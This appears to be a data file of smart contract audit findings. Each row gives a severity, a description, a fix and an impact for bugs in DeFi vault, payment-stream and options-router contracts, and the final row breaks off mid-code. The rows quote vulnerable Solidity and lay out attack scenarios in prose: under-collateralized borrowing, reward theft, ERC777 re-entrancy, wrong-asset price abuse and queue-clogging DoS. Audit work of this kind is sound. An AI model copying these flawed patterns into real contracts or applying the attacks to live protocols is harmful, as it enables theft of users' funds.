The calculation of ````totalUSDborrowed```` in ````openLoan()```` is not correct | high | The `openLoan()` function wrongly use `isoUSDLoaned` to calculate `totalUSDborrowed`. Attacker can exploit it to bypass security check and loan isoUSD with no enough collateral.\\nvulnerability point\\n```\\nfunction openLoan(\\n // // rest of code\\n ) external override whenNotPaused \\n {\\n //// rest of code\\n uint256 colInUSD = priceCollateralToUSD(currencyKey, _colAmount\\n + collateralPosted[_collateralAddress][msg.sender]);\\n uint256 totalUSDborrowed = _USDborrowed \\n + (isoUSDLoaned[_collateralAddress][msg.sender] * virtualPrice)/LOAN_SCALE;\\n // @audit should be isoUSDLoanAndInterest[_collateralAddress][msg.sender]\\n require(totalUSDborrowed >= ONE_HUNDRED_DOLLARS, "Loan Requested too small");\\n uint256 borrowMargin = (totalUSDborrowed * minOpeningMargin) / LOAN_SCALE;\\n require(colInUSD >= borrowMargin, "Minimum margin not met!");\\n\\n // // rest of code\\n}\\n```\\n\\nAttack example: <1>Attacker normally loans and produces 10000 isoUSD interest <2>Attacker repays principle but left interest <3>Attacker open a new 10000 isoUSD loan without providing collateral | See Vulnerability Detail | Attacker can loan isoUSD with no enough collateral. | ```\\nfunction openLoan(\\n // // rest of code\\n ) external override whenNotPaused \\n {\\n //// rest of code\\n uint256 colInUSD = priceCollateralToUSD(currencyKey, _colAmount\\n + collateralPosted[_collateralAddress][msg.sender]);\\n uint256 totalUSDborrowed = _USDborrowed \\n + (isoUSDLoaned[_collateralAddress][msg.sender] * virtualPrice)/LOAN_SCALE;\\n // @audit should be isoUSDLoanAndInterest[_collateralAddress][msg.sender]\\n require(totalUSDborrowed >= ONE_HUNDRED_DOLLARS, "Loan Requested too small");\\n uint256 borrowMargin = (totalUSDborrowed * minOpeningMargin) / LOAN_SCALE;\\n require(colInUSD >= borrowMargin, "Minimum margin not met!");\\n\\n // // rest of code\\n}\\n```\\n |
User can steal rewards from other users by withdrawing their Velo Deposit NFTs from other users' depositors | high | Rewards from staking AMM tokens accumulate to the depositor used to deposit them. The rewards accumulated by a depositor are passed to the owner when they claim. A malicious user to steal the rewards from other users by manipulating other users depositors. Since any NFT of a DepositReceipt can be withdrawn from any depositor with the same DepositReceipt, a malicious user could mint an NFT on their depositor then withdraw in from another user's depositor. The net effect is that that the victims deposits will effectively be in the attackers depositor and they will collect all the rewards.\\n```\\nfunction withdrawFromGauge(uint256 _NFTId, address[] memory _tokens) public {\\n uint256 amount = depositReceipt.pooledTokens(_NFTId);\\n depositReceipt.burn(_NFTId);\\n gauge.getReward(address(this), _tokens);\\n gauge.withdraw(amount);\\n //AMMToken adheres to ERC20 spec meaning it reverts on failure, no need to check return\\n //slither-disable-next-line unchecked-transfer\\n AMMToken.transfer(msg.sender, amount);\\n}\\n```\\n\\nEvery user must create a `Depositor` using `Templater` to interact with vaults and take loans. `Depositor#withdrawFromGauge` allows any user to withdraw any NFT that was minted by the same `DepositReciept`. This is where the issues arises. Since rewards are accumulated to the `Depositor` in which the underlying is staked a user can deposit to their `Depositor` then withdraw their NFT through the `Depositor` of another user's `Depositor` that uses the same `DepositReciept`. The effect is that the tokens will remained staked to the attackers `Depositor` allowing them to steal all the other user's rewards.\\nExample: `User A` and `User B` both create a `Depositor` for the same `DepositReciept`. Both users deposit 100 tokens into their respective `Depositors`. `User B` now calls `withdrawFromGauge` on `Depositor` A. `User B` gets their 100 tokens back and `Depositor B` still has 100 tokens deposited in it. `User B` cannot steal these tokens but they are now collecting the yield on all 100 tokens via `Depositor B` and `User A` isn't getting any rewards at all because `Depositor` A no longer has any tokens deposited into Velodrome gauge. | Depositors should only be able to burn NFTs that they minted. Change DepositReciept_Base#burn to enforce this:\\n```\\n function burn(uint256 _NFTId) external onlyMinter{\\n+ //tokens must be burned by the depositor that minted them\\n+ address depositor = relatedDepositor[_NFTId];\\n+ require(depositor == msg.sender, "Wrong depositor");\\n require(_isApprovedOrOwner(msg.sender, _NFTId), "ERC721: caller is not token owner or approved");\\n delete pooledTokens[_NFTId];\\n delete relatedDepositor[_NFTId];\\n _burn(_NFTId);\\n }\\n```\\n | Malicious user can steal other user's rewards | ```\\nfunction withdrawFromGauge(uint256 _NFTId, address[] memory _tokens) public {\\n uint256 amount = depositReceipt.pooledTokens(_NFTId);\\n depositReceipt.burn(_NFTId);\\n gauge.getReward(address(this), _tokens);\\n gauge.withdraw(amount);\\n //AMMToken adheres to ERC20 spec meaning it reverts on failure, no need to check return\\n //slither-disable-next-line unchecked-transfer\\n AMMToken.transfer(msg.sender, amount);\\n}\\n```\\n |
Vault_Base_ERC20#_updateVirtualPrice calculates interest incorrectly if updated frequently | medium | Updating the virtual price of an asset happens in discrete increments of 3 minutes. This is done to reduce the chance of DOS loops. The issue is that it updates the time to an incorrect timestamp. It should update to the truncated 3 minute interval but instead updates to the current timestamp. The result is that the interest calculation can be abused to lower effective interest rate.\\n```\\nfunction _updateVirtualPrice(uint256 _currentBlockTime, address _collateralAddress) internal { \\n ( ,\\n ,\\n ,\\n uint256 interestPer3Min,\\n uint256 lastUpdateTime,\\n uint256 virtualPrice,\\n\\n ) = _getCollateral(_collateralAddress);\\n uint256 timeDelta = _currentBlockTime - lastUpdateTime;\\n //exit gracefully if two users call the function for the same collateral in the same 3min period\\n //@audit increments \\n uint256 threeMinuteDelta = timeDelta / 180; \\n if(threeMinuteDelta > 0) {\\n for (uint256 i = 0; i < threeMinuteDelta; i++ ){\\n virtualPrice = (virtualPrice * interestPer3Min) / LOAN_SCALE; \\n }\\n collateralBook.vaultUpdateVirtualPriceAndTime(_collateralAddress, virtualPrice, _currentBlockTime);\\n }\\n}\\n```\\n\\n_updateVirtualPrice is used to update the interest calculations for the specified collateral and is always called with block.timestamp. Due to truncation threeMinuteDelta is always rounded down, that is if there has been 1.99 3-minute intervals it will truncate to 1. The issue is that in the collateralBook#vaultUpdateVirtualPriceAndTime subcall the time is updated to block.timestamp (_currentBlockTime).\\nExample: lastUpdateTime = 1000 and block.timestamp (_currentBlockTime) = 1359.\\ntimeDelta = 1359 - 1000 = 359\\nthreeMinuteDelta = 359 / 180 = 1\\nThis updates the interest by only as single increment but pushes the new time forward 359 seconds. When called again it will use 1359 as lastUpdateTime which means that 179 seconds worth of interest have been permanently lost. Users with large loan positions could abuse this to effectively halve their interest accumulation. Given how cheap optimism transactions are it is highly likely this could be exploited profitably with a bot. | Before updating the interest time it should first truncate it to the closest 3-minute interval:\\n```\\n if(threeMinuteDelta > 0) {\\n for (uint256 i = 0; i < threeMinuteDelta; i++ ){\\n virtualPrice = (virtualPrice * interestPer3Min) / LOAN_SCALE; \\n }\\n+ _currentBlockTime = (_currentBlockTime / 180) * 180;\\n collateralBook.vaultUpdateVirtualPriceAndTime(_collateralAddress, virtualPrice, _currentBlockTime);\\n }\\n```\\n | Interest calculations will be incorrect if they are updated frequently, which can be abused by users with large amounts of debt to halve their accumulated interest | ```\\nfunction _updateVirtualPrice(uint256 _currentBlockTime, address _collateralAddress) internal { \\n ( ,\\n ,\\n ,\\n uint256 interestPer3Min,\\n uint256 lastUpdateTime,\\n uint256 virtualPrice,\\n\\n ) = _getCollateral(_collateralAddress);\\n uint256 timeDelta = _currentBlockTime - lastUpdateTime;\\n //exit gracefully if two users call the function for the same collateral in the same 3min period\\n //@audit increments \\n uint256 threeMinuteDelta = timeDelta / 180; \\n if(threeMinuteDelta > 0) {\\n for (uint256 i = 0; i < threeMinuteDelta; i++ ){\\n virtualPrice = (virtualPrice * interestPer3Min) / LOAN_SCALE; \\n }\\n collateralBook.vaultUpdateVirtualPriceAndTime(_collateralAddress, virtualPrice, _currentBlockTime);\\n }\\n}\\n```\\n |
All collateral in Velodrome vault will be permantly locked if either asset in liquidity pair stays outside of min/max price | medium | The oracles used have a built in safeguard to revert the transaction if the queried asset is outside of a defined price range. The issue with this is that every vault interaction requires the underlying collateral to be valued. If one of the assets in the pair goes outside it's immutable range then the entire vault will be frozen and all collateral will be permanently stuck.\\n```\\nfunction getOraclePrice(IAggregatorV3 _priceFeed, int192 _maxPrice, int192 _minPrice) public view returns (uint256 ) {\\n (\\n /*uint80 roundID*/,\\n int signedPrice,\\n /*uint startedAt*/,\\n uint timeStamp,\\n /*uint80 answeredInRound*/\\n ) = _priceFeed.latestRoundData();\\n //check for Chainlink oracle deviancies, force a revert if any are present. Helps prevent a LUNA like issue\\n require(signedPrice > 0, "Negative Oracle Price");\\n require(timeStamp >= block.timestamp - HEARTBEAT_TIME , "Stale pricefeed");\\n\\n //@audit revert if price is outside of immutable bounds\\n require(signedPrice < _maxPrice, "Upper price bound breached");\\n require(signedPrice > _minPrice, "Lower price bound breached");\\n uint256 price = uint256(signedPrice);\\n return price;\\n}\\n```\\n\\nThe lines above are called each time and asset is priced. If the oracle returns outside of the predefined range then the transaction will revert.\\n```\\n uint256 outstandingisoUSD = isoUSDdebt - _USDToVault;\\n //@audit contract prices withdraw collateral\\n uint256 colInUSD = _calculateProposedReturnedCapital(_collateralAddress, _loanNFTs, _partialPercentage);\\n if(outstandingisoUSD >= TENTH_OF_CENT){ //ignore debts less than $0.001\\n uint256 collateralLeft = totalCollateralValue(_collateralAddress, msg.sender) - colInUSD;\\n uint256 borrowMargin = (outstandingisoUSD * minOpeningMargin) / LOAN_SCALE;\\n require(collateralLeft > borrowMargin , "Remaining debt fails to meet minimum margin!");\\n }\\n```\\n\\nWhen closing a loan the vault attempts to price the users collateral. Since this is the only way for a user to remove collateral is to call closeLoan, if the price of either asset in the LP goes outside of its bounds then all user deposits will be lost. | If a user is closing their entire loan then there is no need to check the value of the withdraw collateral because there is no longer any debt to collateralize. Move the check inside the inequality to allow the closeLoan to always function:\\n```\\n uint256 outstandingisoUSD = isoUSDdebt - _USDToVault;\\n- uint256 colInUSD = _calculateProposedReturnedCapital(_collateralAddress, _loanNFTs, _partialPercentage);\\n+ uint256 colInUSD;\\n if(outstandingisoUSD >= TENTH_OF_CENT){ //ignore debts less than $0.001\\n+ uint256 colInUSD = _calculateProposedReturnedCapital(_collateralAddress, _loanNFTs, _partialPercentage);\\n uint256 collateralLeft = totalCollateralValue(_collateralAddress, msg.sender) - colInUSD;\\n uint256 borrowMargin = (outstandingisoUSD * minOpeningMargin) / LOAN_SCALE;\\n require(collateralLeft > borrowMargin , "Remaining debt fails to meet minimum margin!");\\n }\\n```\\n | Entire vault will be frozen and all collateral will be permanently stuck | ```\\nfunction getOraclePrice(IAggregatorV3 _priceFeed, int192 _maxPrice, int192 _minPrice) public view returns (uint256 ) {\\n (\\n /*uint80 roundID*/,\\n int signedPrice,\\n /*uint startedAt*/,\\n uint timeStamp,\\n /*uint80 answeredInRound*/\\n ) = _priceFeed.latestRoundData();\\n //check for Chainlink oracle deviancies, force a revert if any are present. Helps prevent a LUNA like issue\\n require(signedPrice > 0, "Negative Oracle Price");\\n require(timeStamp >= block.timestamp - HEARTBEAT_TIME , "Stale pricefeed");\\n\\n //@audit revert if price is outside of immutable bounds\\n require(signedPrice < _maxPrice, "Upper price bound breached");\\n require(signedPrice > _minPrice, "Lower price bound breached");\\n uint256 price = uint256(signedPrice);\\n return price;\\n}\\n```\\n |
Outstanding loans cannot be closed or liquidated if collateral is paused | high | When a collateral is paused by governance, `collateralValid` is set to false. This causes closing and liquidating of loans to be impossible, leading to two issues. The first is that users with exist loans are unable to close their loans to recover their collateral. The second is that since debt is impossible to liquidate the protocol could end up being stuck with a lot of bad debt.\\n```\\nfunction pauseCollateralType(\\n address _collateralAddress,\\n bytes32 _currencyKey\\n ) external collateralExists(_collateralAddress) onlyAdmin {\\n require(_collateralAddress != address(0)); //this should get caught by the collateralExists check but just to be careful\\n //checks two inputs to help prevent input mistakes\\n require( _currencyKey == collateralProps[_collateralAddress].currencyKey, "Mismatched data");\\n collateralValid[_collateralAddress] = false;\\n collateralPaused[_collateralAddress] = true;\\n}\\n```\\n\\nWhen a collateral is paused `collateralValid[_collateralAddress]` is set to `false`. For `Vault_Lyra` `Vault_Synths` and `Vault_Velo` this will cause `closeLoan` and `callLiquidation` to revert. This traps existing users and prevents liquidations which will result in bad debt for the protocol | Allow liquidations and loan closure when collateral is paused | Outstanding loans cannot be closed or liquidated, freezing user funds and causing the protocol to take on bad debt | ```\\nfunction pauseCollateralType(\\n address _collateralAddress,\\n bytes32 _currencyKey\\n ) external collateralExists(_collateralAddress) onlyAdmin {\\n require(_collateralAddress != address(0)); //this should get caught by the collateralExists check but just to be careful\\n //checks two inputs to help prevent input mistakes\\n require( _currencyKey == collateralProps[_collateralAddress].currencyKey, "Mismatched data");\\n collateralValid[_collateralAddress] = false;\\n collateralPaused[_collateralAddress] = true;\\n}\\n```\\n |
increaseCollateralAmount : User is not allowed to increase collateral freely. | medium | For all the tree type of vault, a user is allowed to increase collateral only if the overall collateral value is higher than the margin value.\\nimo, this restriction may not be needed. anyway user is adding the collateral that could eventually save from liquidation.\\nProtocol will loose advantage due to this restriction.\\nCodes from lyra vault implementation :\\nLine 184\\n```\\n require(colInUSD >= borrowMargin, "Liquidation margin not met!");\\n```\\n\\nFor synth - Refer here\\nFor velo - Refer here | Allow user add collateral freely. | User may not have the collateral all at once, but they can add like an EMI.\\nProtocol will loose the repayment anyway.\\nWhat is no one comes for liquidation - again this could lose. | ```\\n require(colInUSD >= borrowMargin, "Liquidation margin not met!");\\n```\\n |
Dangerous assumption on the peg of USDC can lead to manipulations | medium | Dangerous assumption on the peg of USDC can lead to manipulations\\nThe volatility of USDC will also affect the price of the other token in the pool since it's priced in USDC (DepositReceipt_USDC.sol#L87, DepositReceipt_USDC.sol#L110) and then compared to its USD price from a Chainlink oracle (DepositReceipt_USDC.sol#L90-L98).\\nThis issue is also applicable to the hard coded peg of sUSD when evaluating the USD price of a Synthetix collateral (Vault_Synths.sol#L76):\\n```\\n/// @return returns the value of the given synth in sUSD which is assumed to be pegged at $1.\\nfunction priceCollateralToUSD(bytes32 _currencyKey, uint256 _amount) public view override returns(uint256){\\n //As it is a synth use synthetix for pricing\\n return (synthetixExchangeRates.effectiveValue(_currencyKey, _amount, SUSD_CODE)); \\n}\\n```\\n\\nTogether with isoUSD not having a stability mechanism, these assumptions can lead to different manipulations with the price of isoUSD and the arbitraging opportunities created by the hard peg assumptions (sUSD and USDC will be priced differently on exchanges and on Isomorph). | Consider using the Chainlink USDC/USD feed to get the price of USDC and price liquidity using the actual price of USDC. Also, consider converting sUSD prices of Synthetix collaterals to USD to mitigate the discrepancy in prices between external exchanges and Isomorph. | If the price of USDC falls below $1, collateral will be priced higher than expected. This will keep borrowers from being liquidated. And it will probably affect the price of isoUSD since there will be an arbitrage opportunity: the cheaper USDC will be priced higher as collateral on Isomorph. If hte price of USDC raises above $1, borrowers' collateral will be undervalued and some liquidations will be possible that wouldn't have be allowed if the actual price of USDC was used. | ```\\n/// @return returns the value of the given synth in sUSD which is assumed to be pegged at $1.\\nfunction priceCollateralToUSD(bytes32 _currencyKey, uint256 _amount) public view override returns(uint256){\\n //As it is a synth use synthetix for pricing\\n return (synthetixExchangeRates.effectiveValue(_currencyKey, _amount, SUSD_CODE)); \\n}\\n```\\n |
Wrong constants for time delay | medium | This protocol uses several constants for time dealy and some of them are incorrect.\\nIn `isoUSDToken.sol`, `ISOUSD_TIME_DELAY` should be `3 days` instead of 3 seconds.\\n```\\n uint256 constant ISOUSD_TIME_DELAY = 3; // days;\\n```\\n\\nIn `CollateralBook.sol`, `CHANGE_COLLATERAL_DELAY` should be `2 days` instead of 200 seconds.\\n```\\n uint256 public constant CHANGE_COLLATERAL_DELAY = 200; //2 days\\n```\\n | 2 constants should be modified as mentioned above. | Admin settings would be updated within a short period of delay so that users wouldn't react properly. | ```\\n uint256 constant ISOUSD_TIME_DELAY = 3; // days;\\n```\\n |
Unnecessary precision loss in `_recipientBalance()` | medium | Using `ratePerSecond()` to calculate the `_recipientBalance()` incurs an unnecessary precision loss.\\nThe current formula in `_recipientBalance()` to calculate the vested amount (balance) incurs an unnecessary precision loss, as it includes div before mul:\\n```\\nbalance = elapsedTime_ * (RATE_DECIMALS_MULTIPLIER * tokenAmount_ / duration) / RATE_DECIMALS_MULTIPLIER\\n```\\n\\nThis can be avoided and the improved formula can also save some gas. | Consdier changing to:\\n```\\nbalance = elapsedTime_ * tokenAmount_ / duration\\n```\\n | Precision loss in `_recipientBalance()`. | ```\\nbalance = elapsedTime_ * (RATE_DECIMALS_MULTIPLIER * tokenAmount_ / duration) / RATE_DECIMALS_MULTIPLIER\\n```\\n |
The ````Stream```` contract is designed to receive ETH but not implement function for withdrawal | medium | The `Stream` contract instances can receive ETH but can not withdraw, ETH occasionally sent by users will be stuck in those contracts.\\nShown as the test case, it can receive ETH normally.\\n```\\ncontract StreamReceiveETHTest is StreamTest {\\n function setUp() public override {\\n super.setUp();\\n }\\n\\n function test_receiveETH() public {\\n s = Stream(\\n factory.createStream(\\n payer, recipient, STREAM_AMOUNT, address(token), startTime, stopTime\\n )\\n );\\n\\n vm.deal(payer, 10 ether);\\n vm.prank(payer);\\n (bool success, ) = address(s).call{value: 1 ether}("");\\n assertEq(success, true);\\n assertEq(address(s).balance, 1 ether);\\n }\\n}\\n```\\n\\nResult\\n```\\nRunning 1 test for test/Stream.t.sol:StreamReceiveETHTest\\n[PASS] test_receiveETH() (gas: 167691)\\nTest result: ok. 1 passed; 0 failed; finished in 1.25ms\\n```\\n | Issue The `Stream` contract is designed to receive ETH but not implement function for withdrawal\\nAdd a `rescueETH()` function which is similar with the existing `rescueERC20()` | See Summary | ```\\ncontract StreamReceiveETHTest is StreamTest {\\n function setUp() public override {\\n super.setUp();\\n }\\n\\n function test_receiveETH() public {\\n s = Stream(\\n factory.createStream(\\n payer, recipient, STREAM_AMOUNT, address(token), startTime, stopTime\\n )\\n );\\n\\n vm.deal(payer, 10 ether);\\n vm.prank(payer);\\n (bool success, ) = address(s).call{value: 1 ether}("");\\n assertEq(success, true);\\n assertEq(address(s).balance, 1 ether);\\n }\\n}\\n```\\n |
If the recipient is added to the USDC blacklist, then cancel() does not work | medium | cancel() will send the vested USDC to the recipient, if the recipient is added to the USDC blacklist, then cancel() will not work\\nWhen cancel() is called, it sends the vested USDC to the recipient and cancels future payments. Consider a scenario where if the payer intends to call cancel() to cancel the payment stream, a malicious recipient can block the address from receiving USDC by adding it to the USDC blacklist (e.g. by doing something malicious with that address, etc.), which prevents the payer from canceling the payment stream and withdrawing future payments\\n```\\n function cancel() external onlyPayerOrRecipient {\\n address payer_ = payer();\\n address recipient_ = recipient();\\n IERC20 token_ = token();\\n\\n uint256 recipientBalance = balanceOf(recipient_);\\n\\n // This zeroing is important because without it, it's possible for recipient to obtain additional funds\\n // from this contract if anyone (e.g. payer) sends it tokens after cancellation.\\n // Thanks to this state update, `balanceOf(recipient_)` will only return zero in future calls.\\n remainingBalance = 0;\\n\\n if (recipientBalance > 0) token_.safeTransfer(recipient_, recipientBalance);\\n```\\n | Issue If the recipient is added to the USDC blacklist, then cancel() does not work\\nInstead of sending tokens directly to the payer or recipient in cancel(), consider storing the number of tokens in variables and having the payer or recipient claim it later | A malicious recipient may prevent the payer from canceling the payment stream and withdrawing future payments | ```\\n function cancel() external onlyPayerOrRecipient {\\n address payer_ = payer();\\n address recipient_ = recipient();\\n IERC20 token_ = token();\\n\\n uint256 recipientBalance = balanceOf(recipient_);\\n\\n // This zeroing is important because without it, it's possible for recipient to obtain additional funds\\n // from this contract if anyone (e.g. payer) sends it tokens after cancellation.\\n // Thanks to this state update, `balanceOf(recipient_)` will only return zero in future calls.\\n remainingBalance = 0;\\n\\n if (recipientBalance > 0) token_.safeTransfer(recipient_, recipientBalance);\\n```\\n |
Adverary can DOS contract by making a large number of deposits/withdraws then removing them all | high | When a user dequeues a withdraw or deposit it leaves a blank entry in the withdraw/deposit. This entry must be read from memory and skipped when processing the withdraws/deposits which uses gas for each blank entry. An adversary could exploit this to DOS the contract. By making a large number of these blank deposits they could make it impossible to process any auction.\\n```\\n while (_quantity > 0) {\\n Receipt memory deposit = deposits[i];\\n if (deposit.amount == 0) {\\n i++;\\n continue;\\n }\\n if (deposit.amount <= _quantity) {\\n // deposit amount is lesser than quantity use it fully\\n _quantity = _quantity - deposit.amount;\\n usdBalance[deposit.sender] -= deposit.amount;\\n amountToSend = (deposit.amount * 1e18) / _price;\\n IERC20(crab).transfer(deposit.sender, amountToSend);\\n emit USDCDeposited(deposit.sender, deposit.amount, amountToSend, i, 0);\\n delete deposits[i];\\n i++;\\n } else {\\n // deposit amount is greater than quantity; use it partially\\n deposits[i].amount = deposit.amount - _quantity;\\n usdBalance[deposit.sender] -= _quantity;\\n amountToSend = (_quantity * 1e18) / _price;\\n IERC20(crab).transfer(deposit.sender, amountToSend);\\n emit USDCDeposited(deposit.sender, _quantity, amountToSend, i, 0);\\n _quantity = 0;\\n }\\n }\\n```\\n\\nThe code above processes deposits in the order they are submitted. An adversary can exploit this by withdrawing/depositing a large number of times then dequeuing them to create a larger number of blank deposits. Since these are all zero, it creates a fill or kill scenario. Either all of them are skipped or none. If the adversary makes the list long enough then it will be impossible to fill without going over block gas limit. | Two potential solutions. The first would be to limit the number of deposits/withdraws that can be processed in a single netting. The second would be to allow the owner to manually skip withdraws/deposits by calling an function that increments depositsIndex and withdrawsIndex. | Contract can be permanently DOS'd | ```\\n while (_quantity > 0) {\\n Receipt memory deposit = deposits[i];\\n if (deposit.amount == 0) {\\n i++;\\n continue;\\n }\\n if (deposit.amount <= _quantity) {\\n // deposit amount is lesser than quantity use it fully\\n _quantity = _quantity - deposit.amount;\\n usdBalance[deposit.sender] -= deposit.amount;\\n amountToSend = (deposit.amount * 1e18) / _price;\\n IERC20(crab).transfer(deposit.sender, amountToSend);\\n emit USDCDeposited(deposit.sender, deposit.amount, amountToSend, i, 0);\\n delete deposits[i];\\n i++;\\n } else {\\n // deposit amount is greater than quantity; use it partially\\n deposits[i].amount = deposit.amount - _quantity;\\n usdBalance[deposit.sender] -= _quantity;\\n amountToSend = (_quantity * 1e18) / _price;\\n IERC20(crab).transfer(deposit.sender, amountToSend);\\n emit USDCDeposited(deposit.sender, _quantity, amountToSend, i, 0);\\n _quantity = 0;\\n }\\n }\\n```\\n |
resolveQueuedTrades() ERC777 re-enter to steal funds | medium | _openQueuedTrade() does not follow the “Checks Effects Interactions” principle and may lead to re-entry to steal the funds\\nThe prerequisite is that tokenX is ERC777 e.g. “sushi”\\nresolveQueuedTrades() call _openQueuedTrade()\\nin _openQueuedTrade() call "tokenX.transfer(queuedTrade.user)" if (revisedFee < queuedTrade.totalFee) before set queuedTrade.isQueued = false;\\n```\\n function _openQueuedTrade(uint256 queueId, uint256 price) internal {\\n// rest of code\\n if (revisedFee < queuedTrade.totalFee) {\\n tokenX.transfer( //***@audit call transfer , if ERC777 , can re-enter ***/\\n queuedTrade.user,\\n queuedTrade.totalFee - revisedFee\\n );\\n }\\n\\n queuedTrade.isQueued = false; //****@audit change state****/\\n }\\n```\\n\\n3.if ERC777 re-enter to #cancelQueuedTrade() to get tokenX back,it can close, because queuedTrade.isQueued still equal true 4. back to _openQueuedTrade() set queuedTrade.isQueued = false 5.so steal tokenX | follow “Checks Effects Interactions”\\n```\\n function _openQueuedTrade(uint256 queueId, uint256 price) internal {\\n// rest of code\\n+ queuedTrade.isQueued = false; \\n // Transfer the fee to the target options contract\\n IERC20 tokenX = IERC20(optionsContract.tokenX());\\n tokenX.transfer(queuedTrade.targetContract, revisedFee);\\n\\n- queuedTrade.isQueued = false; \\n emit OpenTrade(queuedTrade.user, queueId, optionId);\\n }\\n```\\n | if tokenX equal ERC777 can steal token | ```\\n function _openQueuedTrade(uint256 queueId, uint256 price) internal {\\n// rest of code\\n if (revisedFee < queuedTrade.totalFee) {\\n tokenX.transfer( //***@audit call transfer , if ERC777 , can re-enter ***/\\n queuedTrade.user,\\n queuedTrade.totalFee - revisedFee\\n );\\n }\\n\\n queuedTrade.isQueued = false; //****@audit change state****/\\n }\\n```\\n |
The `_fee()` function is wrongly implemented in the code | medium | _fee() function is wrongly implemented in the code so the protocol will get fewer fees and the trader will earn more\\n```\\n (uint256 unitFee, , ) = _fees(10**decimals(), settlementFeePercentage);\\n amount = (newFee * 10**decimals()) / unitFee;\\n```\\n\\nlet's say we have: `newFee` 100 USDC USDC Decimals is 6 `settlementFeePercentage` is 20% ==> 200\\nThe `unitFee` will be 520_000\\n`amount` = (100 * 1_000_000) / 520_000 `amount` = 192 USDC Which is supposed to be `amount` = 160 USDC | The `_fee()` function needs to calculate the fees in this way\\n```\\ntotal_fee = (5000 * amount)/ (10000 - sf)\\n```\\n | The protocol will earn fees less than expected | ```\\n (uint256 unitFee, , ) = _fees(10**decimals(), settlementFeePercentage);\\n amount = (newFee * 10**decimals()) / unitFee;\\n```\\n |
resolveQueuedTrades is intended to be non atomic but invalid signature can still cause entire transaction to revert | medium | BufferRouter#resolveQueuedTrades and unlockOptions attempt to be non atomic (i.e. doesn't revert the transaction if one fails) but an invalid signature can still cause the entire transaction to revert, because the ECDSA.recover sub call in _validateSigner can still revert.\\n```\\nfunction _validateSigner(\\n uint256 timestamp,\\n address asset,\\n uint256 price,\\n bytes memory signature\\n) internal view returns (bool) {\\n bytes32 digest = ECDSA.toEthSignedMessageHash(\\n keccak256(abi.encodePacked(timestamp, asset, price))\\n );\\n address recoveredSigner = ECDSA.recover(digest, signature);\\n return recoveredSigner == publisher;\\n}\\n```\\n\\n_validateSigner can revert at the ECDSA.recover sub call breaking the intended non atomic nature of BufferRouter#resolveQueuedTrades and unlockOptions. | Use a try statement inside _validateSigner to avoid any reverts:\\n```\\n function _validateSigner(\\n uint256 timestamp,\\n address asset,\\n uint256 price,\\n bytes memory signature\\n ) internal view returns (bool) {\\n bytes32 digest = ECDSA.toEthSignedMessageHash(\\n keccak256(abi.encodePacked(timestamp, asset, price))\\n );\\n- address recoveredSigner = ECDSA.recover(digest, signature);\\n\\n+ try ECDSA.recover(digest, signature) returns (address recoveredSigner) {\\n+ return recoveredSigner == publisher;\\n+ } else {\\n+ return false;\\n+ }\\n }\\n```\\n | BufferRouter#resolveQueuedTrades and unlockOptions don't function as intended if signature is malformed | ```\\nfunction _validateSigner(\\n uint256 timestamp,\\n address asset,\\n uint256 price,\\n bytes memory signature\\n) internal view returns (bool) {\\n bytes32 digest = ECDSA.toEthSignedMessageHash(\\n keccak256(abi.encodePacked(timestamp, asset, price))\\n );\\n address recoveredSigner = ECDSA.recover(digest, signature);\\n return recoveredSigner == publisher;\\n}\\n```\\n |
When private keeper mode is off users can queue orders with the wrong asset | high | After an order is initiated, it must be filled by calling resolveQueuedTrades. This function validates that the asset price has been signed but never validates that the asset being passed in matches the asset of the queuedTrade. When private keeper mode is off, which is the default state of the contract, this can be abused to cause huge loss of funds.\\n```\\n for (uint32 index = 0; index < params.length; index++) {\\n OpenTradeParams memory currentParams = params[index];\\n QueuedTrade memory queuedTrade = queuedTrades[\\n currentParams.queueId\\n ];\\n bool isSignerVerifed = _validateSigner(\\n currentParams.timestamp,\\n currentParams.asset,\\n currentParams.price,\\n currentParams.signature\\n );\\n // Silently fail if the signature doesn't match\\n if (!isSignerVerifed) {\\n emit FailResolve(\\n currentParams.queueId,\\n "Router: Signature didn't match"\\n );\\n continue;\\n }\\n if (\\n !queuedTrade.isQueued ||\\n currentParams.timestamp != queuedTrade.queuedTime\\n ) {\\n // Trade has already been opened or cancelled or the timestamp is wrong.\\n // So ignore this trade.\\n continue;\\n }\\n\\n // If the opening time is much greater than the queue time then cancel the trad\\n if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {\\n _openQueuedTrade(currentParams.queueId, currentParams.price);\\n } else {\\n _cancelQueuedTrade(currentParams.queueId);\\n emit CancelTrade(\\n queuedTrade.user,\\n currentParams.queueId,\\n "Wait time too high"\\n );\\n }\\n\\n // Track the next queueIndex to be processed for user\\n userNextQueueIndexToProcess[queuedTrade.user] =\\n queuedTrade.userQueueIndex +\\n 1;\\n }\\n```\\n\\nBufferRouter#resolveQueueTrades never validates that the asset passed in for params is the same asset as the queuedTrade. It only validates that the price is the same, then passes the price and queueId to _openQueuedTrade:\\n```\\nfunction _openQueuedTrade(uint256 queueId, uint256 price) internal {\\n QueuedTrade storage queuedTrade = queuedTrades[queueId];\\n IBufferBinaryOptions optionsContract = IBufferBinaryOptions(\\n queuedTrade.targetContract\\n );\\n\\n bool isSlippageWithinRange = optionsContract.isStrikeValid(\\n queuedTrade.slippage,\\n price,\\n queuedTrade.expectedStrike\\n );\\n\\n if (!isSlippageWithinRange) {\\n _cancelQueuedTrade(queueId);\\n emit CancelTrade(\\n queuedTrade.user,\\n queueId,\\n "Slippage limit exceeds"\\n );\\n\\n return;\\n }\\n\\n // rest of code\\n\\n optionParams.totalFee = revisedFee;\\n optionParams.strike = price;\\n optionParams.amount = amount;\\n\\n uint256 optionId = optionsContract.createFromRouter(\\n optionParams,\\n isReferralValid\\n );\\n```\\n\\nInside _openQueuedTrade it checks that the price is within the slippage bounds of the order, cancelling if its not. Otherwise it uses the price to open an option. According to documentation, the same router will be used across a large number of assets/pools, which means the publisher for every asset is the same, given that router only has one publisher variable.\\nExamples:\\nImagine two assets are listed that have close prices, asset A = $0.95 and asset B = $1. An adversary could create an call that expires in 10 minutes on asset B with 5% slippage, then immediately queue it with the price of asset A. $0.95 is within the slippage bounds so it creates the option with a strike price of $0.95. Since the price of asset B is actually $1 the adversary will almost guaranteed make money, stealing funds from the LPs. This can be done back and forth between both pools until pools for both assets are drained.\\nIn a similar scenario, if the price of the assets are very different, the adversary could use this to DOS another user by always calling queue with the wrong asset, causing the order to be cancelled. | Pass the asset address through so the BufferBinaryOptions contract can validate it is being called with the correct asset | Adversary can rug LPs and DOS other users | ```\\n for (uint32 index = 0; index < params.length; index++) {\\n 